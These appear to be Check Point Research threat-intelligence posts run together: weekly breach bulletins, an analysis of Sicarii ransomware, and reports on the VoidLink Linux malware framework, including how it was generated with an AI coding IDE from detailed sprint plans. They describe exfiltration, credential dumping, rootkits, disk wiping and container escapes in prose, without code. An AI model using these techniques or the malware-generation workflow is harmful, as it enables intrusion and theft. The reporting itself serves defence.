Beyond the TRAE-generated prompt document, we also uncovered an unusually extensive body of internal planning material: a comprehensive work plan spanning three development teams. Written in Chinese and saved as Markdown (MD) files, the documentation bears all the hallmarks of a Large Language Model (LLM): highly structured, consistently formatted, and exceptionally detailed. Some appear to have been generated as a direct output of the planning request described above.
These documents are laid out in various folders and include sprint schedules, feature breakdowns, coding guidelines, and others, with clear ownership by teams:
The earliest of these documents, timestamped to November 27th, 2025, describes a 20-week sprint plan across three teams: a Core Team (Zig), an Arsenal Team (C), and a Backend Team (Go). The plan is strikingly specific, referencing additional companion files intended to document each sprint in depth. Notably, the initial roadmap also includes a dedicated set of standardization files, prescribing explicit coding conventions and implementation guidelines, effectively a rulebook for how the codebase should be written and maintained.
Translated development plan for three teams: Core, Arsenal and Backend.
A review of the code standardization instructions against the recovered VoidLink source code shows a striking level of alignment. Conventions, structure, and implementation patterns match so closely that it leaves little room for doubt: the codebase was written to those exact instructions.
Code headers as described in the specifications (Left) compared to actual source code (Right)
The source itself, apparently developed according to the documented sprints and coding guidelines, was presented as a 30-week engineering effort, yet appears to have been executed in a dramatically shorter timeframe. One recovered test artifact, timestamped to December 4, a mere week after the project began, indicates that by that date, VoidLink was already functional and had grown to more than 88,000 lines of code. At this point in time, a compiled version of it was already submitted to VirusTotal, marking the beginning of our research.
VoidLink report showing lines of code (Added translations in parentheses)
Generating VoidLink from Scratch
With access to the documentation and specifications of VoidLink and its various sprints, we replicated the workflow using the same TRAE IDE that the developer used (although any frontend for agentic models would work). While TRAE SOLO is only available as a paid product, the regular IDE is sufficient here, as the documentation and design are already available, and the design step can be skipped.
When given the task of implementing the framework described according to the specification in the markdown documentation files sprint by sprint, the model slowly began to generate code that resembled the actual source code of VoidLink in structure and content.
Source tree after the second sprint
By implementing each sprint according to the specified code guidelines, feature lists, and acceptance criteria, and writing tests to validate those, the model quickly implemented the requested code. While the chosen model still influences code quality and overall coding style, the detailed and precise documentation ensures a comparatively high level of reproducibility, as the model has less room for interpretation and strict testing criteria to validate each feature.
Implementing sprint 1 according to the documentation and requirements
The usage of sprints is a helpful pattern for AI code engineering because at the end of each sprint, the developer has a point where code is working and can be committed to a version control repository, which can then act as the restore point if the AI messes up in a later sprint. The developer can then do additional manual testing, refine the specs and documentation, and plan the next sprint. This emulates a lightning-fast SCRUM software engineering team, where the developer acts as the product owner.
Sprint completion log
While testing, integration, and specification refinements are left to the developer, this workflow can offload almost all coding tasks to the model. This results in the rapid development we observed, resembling the efforts of multiple teams of professionals in the pre-agentic-AI era.
Conclusion
Within the rapid advancement of AI technologies, the security community has long anticipated that AI would be a force multiplier for malicious actors. Until now, however, the clearest evidence of AI-driven activity has largely surfaced in lower-sophistication operations, often tied to less experienced threat actors, and has not meaningfully raised the risk beyond regular attacks. VoidLink shifts that baseline: its level of sophistication shows that when AI is in the hands of capable developers, it can materially amplify both the speed and the scale at which serious offensive capability can be produced.
While not a fully AI-orchestrated attack, VoidLink demonstrates that the long-awaited era of sophisticated AI-generated malware has likely begun. In the hands of individual experienced threat actors or malware developers, AI can build sophisticated, stealthy, and stable malware frameworks that resemble those created by sophisticated and experienced threat groups.
Our investigation into VoidLink leaves many open questions, one of them deeply unsettling. We only uncovered its true development story because we had a rare glimpse into the developer’s environment, a visibility we almost never get. Which begs the question: how many other sophisticated malware frameworks out there were built using AI, but left no artifacts to tell?
Additional Credit
We want to acknowledge @huairenWRLD for collaboration, who, following our initial blog post, also investigated VoidLink.
For the latest discoveries in cyber research for the week of 19th January, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Spanish energy company Endesa has disclosed a data breach after unauthorized access to a commercial platform used to manage customer information. Media report attackers listed over 1 terabyte of data, including IBANs, for sale.
Belgian hospital AZ Monica has experienced a cyberattack that forced the shutdown of IT systems across its Deurne and Antwerp campuses. Surgeries were canceled, emergency capacity reduced, and the Red Cross transferred seven critical patients, while radiology, imaging, and chemotherapy were postponed and doctors lacked access to electronic records.
South Korean conglomerate Kyowon has reported a ransomware attack disrupting operations and potentially exposing customer information. Authorities estimate up to 9.6 million accounts could be affected, with approximately 600 of 800 servers compromised, while the company assesses data exposure and no group has claimed responsibility.
US digital investment advisor Betterment has disclosed a breach after a social engineering attack on a third party marketing platform enabled access used to send crypto phishing emails. Exposed data includes names, emails, postal addresses, phone numbers, and dates of birth, while customer accounts were not compromised.
Eurail, operator of Interrail and Eurail passes, has discloseda security incident affecting customers and seat reservations. Reports note exposure of personal, order, and reservation details, with some outlets referencing possible ID document copies and banking identifiers. DiscoverEU travelers may also be affected.
Anchorage Police Department (APD) has addresseda third party incident tied to Whitebox Technologies, a data migration vendor supporting multiple agencies. APD disabled vendor access and removed remaining data from provider systems, noting no evidence of APD data misuse as mitigation steps continued.
Armenia’s government has acknowledgeda potential leak after an actor advertised eight million records allegedly from official systems for 2,500 dollars. Early indications suggest data may stem from an electronic civil litigation platform, and authorities are validating the claims.
US nonprofit Central Maine Healthcare has disclosed a breach affecting 145,381 individuals after intruders persisted on its network between March and June 2025. Compromised data includes personal, treatment, and insurance information. Notifications began this month across affected communities in central, western, and mid-coast Maine.
VULNERABILITIES AND PATCHES
Check Point Research observed active exploitation of CVE-2025-37164 in HPE OneView, a CVSS 10.0 remote code execution flaw impacting versions 5.20 through 10.20. RondoDox botnet exploited this vulnerability starting January 7th. The exploitation was reported to CISA, which added the bug to KEV.
Check Point IPS provides protection against this threat (HPE OneView Remote Code Execution (CVE-2025-37164))
Microsoft January Patch Tuesday addressed 114 vulnerabilities, including one actively exploited zero-day, CVE-2026-20805 in Desktop Window Manager. Eight critical flaws were fixed across Windows and components.
Check Point IPS provides protection against this threat (Microsoft Desktop Windows Manager Information Disclosure (CVE-2026-20805))
A patch was releasedfor CVE-2026-23550 in the Modular DS WordPress plugin, rated maximum severity. Active exploitation began January 13 and allows unauthenticated admin takeover via exposed routes. Users should upgrade to version 2.5.2 from 2.5.1 or earlier immediately.
A critical flaw (CVE-2025-36911) in Google’s Fast Pair protocol enables hijacking of Bluetooth audio accessories, eavesdropping, and tracking. Fixes require firmware updates from device vendors rather than phone updates, with many impacted models pending patches.
THREAT INTELLIGENCE REPORTS
Check Point Research recorded a sharp December surge in cyber attacks in Latin America, where organizations averaged 3,065 weekly hits, a 26% year-over-year increase, while the global average reached 2,027 attacks. Ransomware activity accelerated with 945 publicly reported attacks, 60% increase year over year.
Check Point Research has revealed VoidLink, a cloud-native Linux framework with loaders, implants, rootkits, and modular plugins designed for persistence across containers and Kubernetes. It uses rootkits and over 30 modular plugins for credential theft, lateral movement, and covert communication. The toolkit appears China-affiliated and is rapidly evolving, yet no real-world infections have been confirmed.
Check Point Research uncovered the Sicarii ransomware-as-a-service operation, emerging in late 2025, which uses explicit Israeli/Jewish branding despite Russian-language activity and limited Hebrew proficiency, suggesting possible identity manipulation. The malware geo-fences to avoid Israeli systems, steals data and credentials, scans networks and attempts Fortinet exploitation.
Check Point Research identified Microsoft as the most impersonated brand in Q4 2025 phishing rank, representing 22 percent of attempts, with Google at 13 percent and Amazon at 9 percent. Campaigns spoofed Roblox, Netflix account recovery, and Spanish Facebook pages to steal credentials, enabling account takeover and enterprise access.
Sicarii is a newly observed RaaS operation that surfaced in late 2025 and has only published 1 claimed victim.
The group explicitly brands itself as Israeli/Jewish, using Hebrew language, historical symbols, and extremist right-wing ideological references not usually seen in financially-motivated ransomware operations.
Underground online activity associated with Sicarii is primarily conducted in Russian, including RaaS recruitment posts and forum engagement.
Hebrew content used by the group appears to be machine-translated or non-native and contains grammatical and semantic errors.
The group’s behavior and messaging diverge from established ransomware practices and raise the possibility of identity manipulation or influence-oriented signaling, rather than a real and mature criminal operation.
The ransomware performs an active geo-fencing check to prevent execution on Israeli systems, an unusual design choice that weakens plausible deniability.
The ransomware’s technical capabilities include data exfiltration, collecting system credentials and network information, check exploitation for Fortinet devices, and encrypt files using AES-GCM and the .sicarii extension.
Introduction
In December 2025, a previously unknown Ransomware-as-a-Service (RaaS) operation calling itself Sicarii began advertising its services across multiple underground platforms. The group’s name references the Sicarii, a 1st-century Jewish assassins group that opposed Roman rule in Judea. From its initial appearance, the Sicarii ransomware group distinguished itself through unusually explicit and persistent use of Israeli and Jewish symbolism in its branding, communications, and malware logic.
Figure 1 – Sicarii Ransomware logo featuring the phrase “The Sicarii Knife” in Hebrew text with the symbol of the Haganah (predecessor to the Israel Defense Forces).
Unlike most financially-motivated ransomware groups, Sicarii overtly claims Israeli or Jewish affiliation. Its visual branding incorporates Hebrew text and the emblem of the historical Jewish paramilitary organization Haganah, while its ransomware selectively avoids executing on systems identified as Israeli. The group further claims ideological motivation rooted in extremist Jewish groups, while simultaneously marketing the operation as profit-driven and offering financial incentives for attacks against Arab or Muslim states.
In this report, Check Point Research (CPR) examines Sicarii’s background and capabilities, outlines its technical characteristics, and highlights a series of anomalies and inconsistencies that complicate attribution and clear understanding who is behind this group. These indicators raise questions regarding the authenticity of the group’s claimed identity and suggest the possibility of performative or false-flag behavior rather than genuine national or ideological alignment.
Technical analysis
While the exact initial access path is still unclear, communications with the group suggest the operator is likely purchasing access to the targeted organizations and not necessarily exploiting them directly.
The ransomware execution begins with an Anti-VM phase that tries to determine whether the malware is running in a real victim environment or inside a sandbox. It performs several environment checks, including virtualization detection. If it concludes it is executing inside a VM, it stops early and displays a decoy MessageBox error: "DirectX failed to initialize memory during runtime, exiting". Next, it enforces single-instance execution by creating a mutex and exiting if the mutex already exists. The ransomware then copies itself to the Temp directory with a random name in the format svchost_{random}.exe
The ransomware tests for Internet connection by attempting to contact the following url 120 times: google.com/generate_204
Figure 2 – Check for internet connection.
After checking connectivity, the ransomware determines if the victim is Israeli by checking:
Is the time zone set to Israel
Does the keyboard layout include Hebrew
Do any adapter IPs belongs to Israeli subnets
After establishing its execution context, the ransomware disables SafeBoot options and initiates broad collection of high-value data and files with predefined extensions list from Documents\Downloads\Desktop\VIdeos\Pictures\Music. While this activity supports double extortion, the harvested information may also be leveraged for lateral movement or follow-up attacks. The malware collects registry hives, system credentials, browser data, and some application data from platforms including Discord, Slack, Roblox, Telegram, Office, WhatsApp, Atomic Wallet and more. In addition, it attempts to dump LSASS to obtain further credentials. All collected data is packaged into a ZIP archive named collected_data.zip and exfiltrated to an external service via file.io.
Figure 3 – Staging the collected data in a ZIP archive.
Next, the malware performs network reconnaissance to better understand the victim’s environment. The malware enumerates the local network configuration, maps nearby hosts via ARP requests, and actively probes discovered systems. As part of this process, it scans for exposed RDP services and attempts to exploit Fortinet devices using CVE-2025-64446.
Figure 4 – CVE-2025-64446 exploitation code.
To maintain persistence, the malware uses several different mechanisms, favoring redundancy:
Registry Run key
Creating a service named WinDefender
Creating a new user SysAdmin with password Password123!
Creating a new AWS user, without any check if AWS is installed:
Figure 5 – Persistence via AWS.
Next, the malware checks if AV and VPN products are running. If so, it terminates their processes and sends to the C2 server the link to file.io which contains exfiltrated data file and victim information:
Figure 6 – Sending victim data to the attackers’ server.
Finally, after finishing reconnaissance, privilege handling, and data collection stages, the ransomware moves into the main impact phase: encryption. It iterates through common user directories such as Documents, Desktop, Music, Downloads, Pictures and Videos, and encrypts files in place using the BCryptEncrypt API. The .sicarii extension is appended to each encrypted file name:
The algorithm used is AES-GCM (256-bit key) via BCryptOpenAlgorithmProvider("AES", ..., "ChainingModeGCM").
A unique random AES key is used for each file and the encryption parameters (nonce and tag) are stored in an XOR-0xAA-encoded header.
The encrypted file is named <original_name>.sicarii and contains only a custom header plus ciphertext.
The original unencrypted file is deleted.
The ransomware drops its ransom note:
Figure 7 – Ransom Note.
As a final pressure mechanism, the malware deploys a destructive component intended to hinder system recovery and prolong operational downtime. The ransomware drops a destruct.bat script and registers it to execute at system startup. When triggered, the script corrupts critical bootloader files, leverages built-in Windows utilities such as cipher and diskpart to perform disk-wiping operations, and ultimately forces an immediate system shutdown.
Figure 8 – Destructive phase.
Intelligence Findings & Anomalies
Telegram Presence
The primary Sicarii operator uses the Telegram account @Skibcum, operating under the display name “Threat.” According to our analysis, the account was registered in November 2025, shortly before Sicarii’s initial appearance in underground forums and RaaS advertisements. This timing aligns closely with the group’s emergence and suggests the account was created specifically for this operation rather than part of a long-standing criminal persona.
The account’s profile image features a repurposed internet meme containing the phrase “Smile is a mitzvah” (the word “mitzvah” in Hebrew means “good deed”) alongside iconography associated with the banned Israeli extremist Kach organization.
Figure 9 – Threat’s Profile picture.
The account is active in several Telegram group chats associated with underground communities. These include Russian-language informal hacker and meme-oriented channels where the operator participates in casual conversation, exchanges stickers and GIFs, as well as chats unrelated to operational activity. The tone in public group chats is informal and at times impulsive, standing in contrast to the more deliberate and controlled tone adopted in private communications.
In all these communications, the operator demonstrates comfortable fluency in English and Russian, using colloquial phrasing, slang, and emotionally expressive language consistent with native or near-native proficiency. No comparable fluency is observed in the Hebrew language in any setting.
Direct Messaging and Signaling Behavior
In private communications, the operator posed as Sicarii’s communications lead and made several self-reported operational claims:
Victim Activity: Claimed that Sicarii compromised 3–6 victims within approximately one month, all of whom paid the ransom.
Targeting Strategy: Stated that the group focuses on small businesses, intentionally avoiding large enterprises and government entities to reduce scrutiny and pressure.
Negotiation Practices: Acknowledged routine negotiation and cited a single case in which a ransom demand was reduced to approximately USD 10,000 for an incident involving around five endpoints.
Comparative Positioning: Repeatedly compared Sicarii to established Russian ransomware groups such as LockBit and Qilin, while emphasizing that Sicarii is intentionally maintaining a lower profile “for now.”
On January 5, 2026, Sicarii published its first publicly listed victim, a Greece-based manufacturer. Shortly thereafter, Sicarii advertised downloadable exfiltrated data hosted on a public file-sharing service, but the file download links quickly expired. The operator described this victim as “just a test,” despite earlier assertions that multiple successful extortion cases had already occurred. This reframing introduces an internal inconsistency between prior claims of operational success and the treatment of the first disclosed victim.
Ideological Claims vs. Financial Motivation
Sicarii simultaneously frames itself as a profit-driven RaaS platform and an ideologically motivated actor inspired by extremist Jewish figures. Multiple conversations and advertisements emphasize that Sicarii prioritizes attacks against Arab or Muslim targets and explicitly volunteer “insider information” about their intention to next target a Saudi Arabian entity.
Figure 10 – Insider information offer.
This duality is inconsistent with observed ransomware ecosystems, where ideological messaging is typically minimized to avoid limiting affiliate recruitment and operational reach. The selective invocation of ideology, particularly when paired with commercial incentives, appears performative rather than doctrinal.
Figure 11 – Performative claim or ideological statement?
Performative Israeli Identity and Linguistic Inconsistencies
Although Sicarii group members present themselves as Israeli or Jewish, their use of Hebrew strongly suggests non-native language skills. Hebrew content on the group’s shame site contains misspellings, awkward phrasing, and literal translations of English idioms that do not exist in Hebrew. In private communications, the Telegram user claimed to personally handle only “frontend and communications,” while asserting other operators are Israeli and responsible for ransomware development and initial access operations. Using the same Telegram profile, the actor quickly reemerged as “Isaac” while producing Hebrew that appears to be machine-translated English and insisting they are Hebrew speakers even when challenged.
Figure 12 – An excerpt from the chat with the Sicarii operator, allegedly handing over their account to another operator, “Isaac”, who is Israeli.
In contrast, Sicarii’s activity on underground forums and Telegram channels is conducted fluently in Russian and English, including structured RaaS advertisements and informal interactions. This linguistic asymmetry indicates that English or Russian is actually the operator’s primary language.
Behavioral Indicators and OpSec Observations
The operator’s Telegram behavior displays several notable characteristics:
Low operational discipline, such as openly requesting “ransomware APKs” in public group chats rather than sourcing such information privately.
Identity play and inconsistency, including shifting self-descriptions and performative signaling toward ideological alignment without a clear strategic purpose.
This reinforces the impression of a relatively inexperienced actor navigating established underground ecosystems rather than a seasoned participant.
Visual Branding and Subcultural Overlap Image
The Telegram operator’s profile image and shared graphics reuse a modified internet meme featuring the phrase “Smile is a mitzvah” alongside symbols associated with the banned Israeli extremist organization Kach. The only variant of this image was identified within a looksmax forum, an online male-dominated subculture often characterized by extreme racism, misogyny, and anti-Semitic discourse.
The limited circulation of this image suggests it’s not a mainstream ideological representation. The forum user who shared this picture said he was a 15-year-old boy and participated in anti-Semitic forum threads.
VirusTotal Activity – Uploading Your Own Source Code & Terrorist Images
The majority of Sicarii-associated samples were submitted to VirusTotal by a single community account which uploaded approximately 250 files over the past several months. Most submissions correspond to apparent variants or loaders associated with the Sicarii ransomware.
Notably, the ransomware binaries were frequently uploaded under the generic filename Project3.exe, a naming convention consistent with testing, staging, or iterative development rather than finalized deployment artifacts.
In addition to compiled ransomware samples, the same VirusTotal account uploaded a source code file titledransomawre.cson October 25, 2025, predating Sicarii’s public emergence. This source code referenced the same Tor infrastructure later used by the Sicarii ransomware, suggesting early development or experimentation prior to operational deployment.
In addition to malware-related submissions, the same account also uploaded:
Unrelated suspicious files
Malware report-style documents
An image of Meir Kahane, founder of the extremist Kach organization
The convergence of ransomware testing artifacts, early-stage source code, and extremist ideological imagery within a single VirusTotal account is atypical for mature ransomware operations. Instead of reflecting a compartmentalized development pipeline or affiliate-driven ecosystem, this activity suggests personal experimentation or centralized control, reinforcing the impression of limited operational experience and informal tradecraft.
Explicit National Signaling and Deviation from Ransomware Norms
Established ransomware groups, particularly those operating from Russia or Eastern Europe, typically avoid overt national or ideological signaling to preserve plausible deniability and reduce geopolitical risk. Even well-documented Russian-linked groups such as Qilin or Cl0p refrain from explicit self-identification, despite consistently avoiding domestic targets.
Notably, Sicarii’s operators referenced Qilin and Cl0p in private communications, explicitly describing them as Russian groups that do not attack within Russia and stating that Sicarii follows the “same logic.” This comparison was used by the operator to justify both excluding Israeli victims and the group’s broader targeting posture.
Despite invoking this model, Sicarii diverges sharply from established ransomware norms by:
Advertising preferential rates for attacks against Arab or Muslim states.
Embedding Israeli geo-exclusion logic directly into its ransomware.
Publicly associating itself with extremist Jewish figures and symbols.
Whereas Eastern European ransomware groups rely on implicit understandings and silent geographic avoidance, Sicarii’s approach is unusually explicit and performative. Such behavior is not only unnecessary for a financially motivated RaaS but also invites avoidable exposure. All of this suggests either limited operational maturity or deliberate signaling beyond purely criminal objectives.
Historical Precedent for False-Flag Use of Jewish Identity
Previous campaigns attributed to Iranian-aligned or anti-Israeli actors, including Moses Staff and Abraham’s Ax, leveraged Jewish historical references and fabricated Israeli insider personas to conduct false-flag operations or influence campaigns.
While no direct technical linkage exists between Sicarii and these actors, the use of Jewish extremist symbolism, overt Israeli identity claims, and ideologically charged rhetoric mirrors known deception techniques employed in prior operations by anti-Israeli Middle Eastern actors.
Leak site
The Sicarii leak site is notably rudimentary, offering display options in both Hebrew and English. The Hebrew version is characterized by awkward phrasing and frequent misspellings, further indicating non-native authorship. In private communications, the operator stated that AI tools were used in the site’s development. Notably, the leak site was active for approximately one month before the first victim was published, a delay that is atypical for RaaS operations seeking rapid visibility and credibility.
Figure 13 -Sicarii onion website.
Conclusion & Assessment
Sicarii is a newly observed ransomware operation that combines a functional extortion capability with unusually explicit Israeli and Jewish branding. While the malware itself demonstrates credible ransomware functionality, the group’s behavior and presentation deviate from established ransomware norms.
On Telegram communications, underground forum activity, and public-facing infrastructure, Sicarii repeatedly asserts national and ideological identity in ways that provide no clear operational benefit. Although the operators compare themselves to Russian ransomware groups such as Qilin and Cl0p (arguing that those groups also avoid domestic targets), Sicarii departs from this model by making its alignment explicit and performative, weakening plausible deniability.
Linguistic analysis further undermines the group’s claims. Hebrew usage across the leak site and private communications is inconsistent and indicative of non-native authorship, while English and Russian are used fluently. Operationally, the group appears centralized and informal, with early-stage tooling, inconsistent victim narratives, and limited compartmentalization, suggesting experimentation rather than a mature RaaS ecosystem.
Taken together, these indicators suggest that Sicarii’s claimed Israeli or Jewish identity doesn’t necessarily reflect genuine ideological motives. Instead, the operation appears to leverage performative identity signaling layered onto an immature ransomware capability. Attribution remains inconclusive, but Sicarii’s self-description should not necessarily be taken at face value.
VoidLink is an advanced malware framework made up of custom loaders, implants, rootkits, and modular plugins designed to maintain long-term access to Linux systems. The framework includes multiple cloud-focused capabilities and modules, and is engineered to operate reliably in cloud and container environments over extended periods.
VoidLink’s architecture is extremely flexible and highly modular, centered around a custom Plugin API that appears to be inspired by Cobalt Strike’s Beacon Object Files (BOF) approach. This API is used in more than 30+ plug-in modules available by default.
VoidLink employs multiple Operational Security (OPSEC) mechanisms, including runtime code encryption, self-deletion upon tampering, and adaptive behavior based on the detected environment, alongside a range of user-mode and kernel-level rootkit capabilities.
The framework appears to be built and maintained by Chinese-affiliated developers (exact affiliation remains unclear) and is actively evolving. Its overall design and thorough documentation suggest it is intended for commercial purposes.
The developers demonstrate a high level of technical expertise, with strong proficiency across multiple programming languages, including Go, Zig, C, and modern frameworks such as React. In addition, the attacker possesses in-depth knowledge of sophisticated operating system internals, enabling the development of advanced and complex solutions.
VoidLink – a Cloud-First Malware Framework
In December 2025, Check Point Research identified a small cluster of previously unseen Linux malware samples that appear to originate from a Chinese-affiliated development environment. Many of the binaries included debug symbols and other development artifacts, suggesting we were looking at in-progress builds rather than a finished, widely deployed tool. The speed and variety of changes across the samples indicate a framework that is being iterated upon quickly to achieve broader, real-world use.
The framework, internally referred to by its original developers as VoidLink, is a cloud-first implant written in Zig and designed to operate in modern infrastructure. It can recognize major cloud environments and detect when it is running inside Kubernetes or Docker, then tailor its behavior accordingly. VoidLink also harvests credentials associated with cloud environments and standard source code version control systems, such as Git, indicating that software engineers may be a potential target, either for espionage activities or possible future supply-chain-based attacks.
VoidLink’s feature set is unusually broad. It includes rootkit-style capabilities (LD_PRELOAD, LKM, and eBPF), an in-memory plugin system for extending functionality, and adaptive stealth that adjusts runtime evasion based on the security products it detects, favoring operational security over performance in monitored environments. It also supports multiple command-and-control channels, including HTTP/HTTPS, ICMP, and DNS tunneling, and can form P2P/mesh-style communication between compromised hosts. In the latest samples, most components appear to be close to completion, alongside a functional C2 server and a dashboard front end integrated into a single ecosystem.
The framework’s intended use remains unclear, and as of this writing, no evidence of real-world infections has been observed. The way it is built suggests it may ultimately be positioned for commercial use, either as a product offering or as a framework developed for a customer.
Command and Control Panel
Figure 1 – Main Panel
To best manage an attack, VoidLink ships with a web-based dashboard that provides the operator with complete control over the running agents, implants, and plugins. This interface is localized for Chinese-affiliated operators, but the navigation follows a familiar C2 layout: a left sidebar groups pages into Dashboard, Attack, and Infrastructure. The Dashboard section covers the core operator loop (agent manager, built-in terminal, and an implant builder). In contrast, the Attack section organizes post-exploitation activity such as reconnaissance, credential access, persistence, lateral movement, process injection, stealth, and evidence wiping.
Dashboard
Attack
Infrastructure
Implants
Reconnaissance
Tunneling
Terminal
Credentials
File Management
Builder
Persistence
Plugin Management
Lateral Movement
Task Management
Process Injection
Set Up
Hidden Modules
Wipe Evidence
Figure 2 – Persistence Panel (Translated)
Figure 3 – Wipe Evidence Panel (Translated)
The Generator panel acts as the build interface for VoidLink, enabling the threat actor to generate additional, customized implant variants on demand. From this screen, the operator can select the desired capability set and tune the overall evasion posture. It also exposes operational parameters such as the implant’s heartbeat or beaconing interval, allowing the actor to balance responsiveness against stealth by controlling how frequently the implant checks in and executes tasks. All these parameters can also be changed at runtime.
Figure 4 – Builder Panel (Translated)
The most interesting component of the dashboard is the plugin management panel. It allows the operator to deploy selected modules to victims and to upload custom modules. At the time of our research, 37 plugins were available, organized into several categories: Tools, Anti-Forensics, Reconnaissance, Containers, Privilege Escalation, Lateral Movement, and “Others” (see “Plugin System” below).
Figure 5 – Plugins Panel
Technical Overview
VoidLink is an impressive piece of software, written in Zig for Linux, and it is far more advanced than typical Linux malware. At its base, it features a conventional core that maintains implant stability. The core manages global state, communications, and task execution. This well-designed core hosts several features on top that make the malware a full-fledged C2 framework.
VoidLink is delivered through a two stage loader, where the final implant has core modules embedded, but external code can be downloaded at runtime as plugins:
Figure 6 – VoidLink High Level Overview
Cloud-First Tradecraft
VoidLink is a cloud-first Linux implant. Once a machine is infected, it surveys the compromised system and can detect which cloud provider the infected machine is running under. Currently, VoidLink can detect AWS, GCP, Azure, Alibaba, and Tencent, with plans to add detections for Huawei, DigitalOcean, and Vultr. For all these cloud providers, VoidLink queries additional information on instance metadata using the respective vendor’s API.
Figure 7 – Querying AWS metadata
In addition to cloud detection, it collects vast amounts of information about the infected machine, enumerating its hypervisor and detecting whether it is running in Docker container or a Kubernetes pod.
To ease data exfiltration, privilege escalation, and lateral movement in containerized environments, several post-exploitation modules are implemented—from automated container escapes over secret extraction to dedicated lateral movement commands.
Ultimately, the goal of this implant appears to be stealthy, long-term access, surveillance, and data collection.
Plugin Development API
In addition to the core modules and commands, the VoidLink framework offers an extensive development API, similar to (and likely inspired by) Cobalt Strike and its Beacon API. The API is set up during the malware’s initialization by creating an export table that contains all available APIs.
Figure 8 – Development API Export Table
When developing a VoidLink plugin, a developer can then reference these APIs to e.g. read files, create socket connections, execute files, resolve routines from shared objects or log to the C2 console. The whole API operates on direct syscalls, bypassing libc hooks.
Adaptive Stealth
Upon launch, VoidLink enumerates installed security products and hardening measures, including Linux EDRs and kernel hardening technologies. However, this information is not only returned to the operator but used to calculate a risk score for the environment and suggest an evasion strategy, which is then used in other modules to influence their behavior, so that, for example, a port scan is executed more slowly and with greater control in an environment where monitoring is implemented, and the risk is comparatively high. This pattern of adaptive stealth is one of VoidLink’s core principles and is applied throughout the framework.
Figure 9 – Detected EDRs
Rootkit Modules
Another noteworthy component is a monitor that helps VoidLink blend in with normal system activity. It builds a profile of host behavior by reading machine telemetry (CPU, memory, network, and active processes), parsing it, and creating adaptive intervals for communication with the C2, with constraints such as working hours and low-activity times.
A stealth module integrates advanced concealment techniques, including kernel-level techniques. It maintains a family of rootkits tailored to multiple kernel versions. It couples them with eBPF programs that can hook sensitive paths without requiring a traditional LKM on newer, locked-down systems. VoidLink handles rootkit deployment once again, based on the environment in which it runs, and chooses the right rootkit to deploy accordingly. Depending on the Kernel version and supported features, the following rootkits are chosen:
LD_PRELOAD: When the “kernel” flag is disabled, OR the kernel version is < 4.0
eBPF: For a Kernel version ≥ 5.5 with eBPF support
LKM: Kernel ≥ 4.0
Figure 10 – Rootkit deployment depending on environment
Using the rootkits, the implant can selectively hide its processes, files, and network sockets, as well as hide the rootkit modules themselves.
Command and Control
At the network level, VoidLink attempts to make outbound network connections appear legitimate; several modules conceal the traffic. There is a layer responsible for HTTP camouflage, which attempts to make requests appear legitimate.
Figure 11 – HTTP camouflage configuration
Requests, as well as exfiltrated files, can be hidden in various ways, including via PNG-like blobs, standard website content (JS/CSS/HTML), or by mimicking API traffic. VoidLink supports multiple transport protocols: HTTP/1.1, HTTP/2, WebSocket, DNS, and ICMP. All are managed through a protocol dubbed VoidStream by the developers. VoidStream handles encryption and message parsing for all of the previously mentioned protocols.
While not fully implemented, analyzed samples also contain methods for mesh C2—a peer-to-peer networking method in which infected machines form a mesh network, routing packets in-between each other without needing outbound internet access.
Anti-Analysis
VoidLink deploys several anti-analysis mechanisms. In addition to anti-debugging techniques, VoidLink detects various debuggers and monitoring tools. VoidLink also runs runtime integrity checks to identify potential hooks and patches. Additionally, a self-modifying code option decrypts protected code regions at runtime and encrypts them while not in use, evading runtime memory scanners. If VoidLink detects any type of tampering, it deletes itself.
Anti-forensic modules ensure that any traces left by VoidLink are also deleted. The malware cleans command histories, login records, system logs, and dropped files, all while ensuring that files are not only unlinked from the file system but also overwritten with random data to prevent forensic recovery.
Plugin System
VoidLink’s plugin system effectively expands its framework, evolving from an implant to a fully featured post-exploitation framework. Again, similar to Cobalt Strike and its Beacon Object Files, plugins come as (ELF) object files that are loaded at runtime and are executed in-memory.
The plugins available by default cover various categories:
Recon
Detailed system and environment profiling, user and group enumeration, process and service discovery, filesystem and mount mapping, and mapping of local network topology and interfaces.
Cloud
Kubernetes and Docker discovery and privilege-escalation helpers, container escape checks, and probes for misconfigurations that allow attackers to break out of pods or containers into the underlying host or cluster.
Credential Harvesting
Multiple plugins to harvest credentials and secrets, including SSH keys, git credentials, local password material, browser credentials and cookies, tokens, and API keys in environment variables or process arguments, and items stored in the system keyring.
Utilities and lateral movement
Post-exploitation tooling includes file management, interactive and non-interactive shells, port forwarding and tunneling, and an SSH-based worm that attempts to connect to known hosts and spread laterally.
Persistence
Persistence Plugins that establish persistence via native mechanisms like dynamic linker abuse, cron jobs, and system services.
Anti-forensics
Components that wipe or edit logs and shell history based on keywords and perform timestomping of files to disrupt forensic timelines.
Together, these plugins sit atop an already sophisticated core implementation, enriching VoidLink’s capabilities beyond cloud environments to developer and administrator workstations that interface directly with those cloud environments, turning any compromised machine into a flexible launchpad for deeper access or supply-chain compromise. The appendix lists all plugins we analyzed, with a summarized description of each.
Conclusion
VoidLink is a rapidly developing Linux command and control framework, tailored towards modern cloud environments with a focus on stealth. The sheer number of features and its modular architecture show that the authors intended to create a sophisticated, modern and feature-rich framework. VoidLink aims to automate evasion as much as possible,profiling an environment and choosing the most suitable strategy to operate in it. Augmented by kernel mode tradecraft and a vast plugin ecosystem, VoidLink enables its operators to move through cloud environments and container ecosystems with adaptive stealth.
While the larger part of the malware landscape targets Windows, the Linux platform is often an underlooked target by both malware developers and defenders. The creation of a framework dedicated to the Linux platform, and more specifically, cloud environments, shows that these platforms are a valid target for threat actors.
Although it is not clear if the framework is intended to be sold as a legitimate penetration testing tool, as a tool for the criminal underground, or as a dedicated product for a single customer, defenders should proactively secure their Linux, cloud, and container environments and be prepared to defend against advanced threats such as VoidLink.
Protections
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems, and protect against the attacks and threats described in this report.
For the latest discoveries in cyber research for the week of 12th January, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Manage My Health, New Zealand’s largest patient portal, has acknowledged a cyberattack occurred on December 2025, that potentially exposed data of nearly 110K users. An alleged attacker, dubbed Kazu, claimed responsibility and demanded a $60,000 ransom.
France’s Office for Immigration and Integration has confirmed data theft via a third-party operator after a hacker posted samples online. The exposed records include names, contact details, entry dates, and reasons for stay for foreign residents.
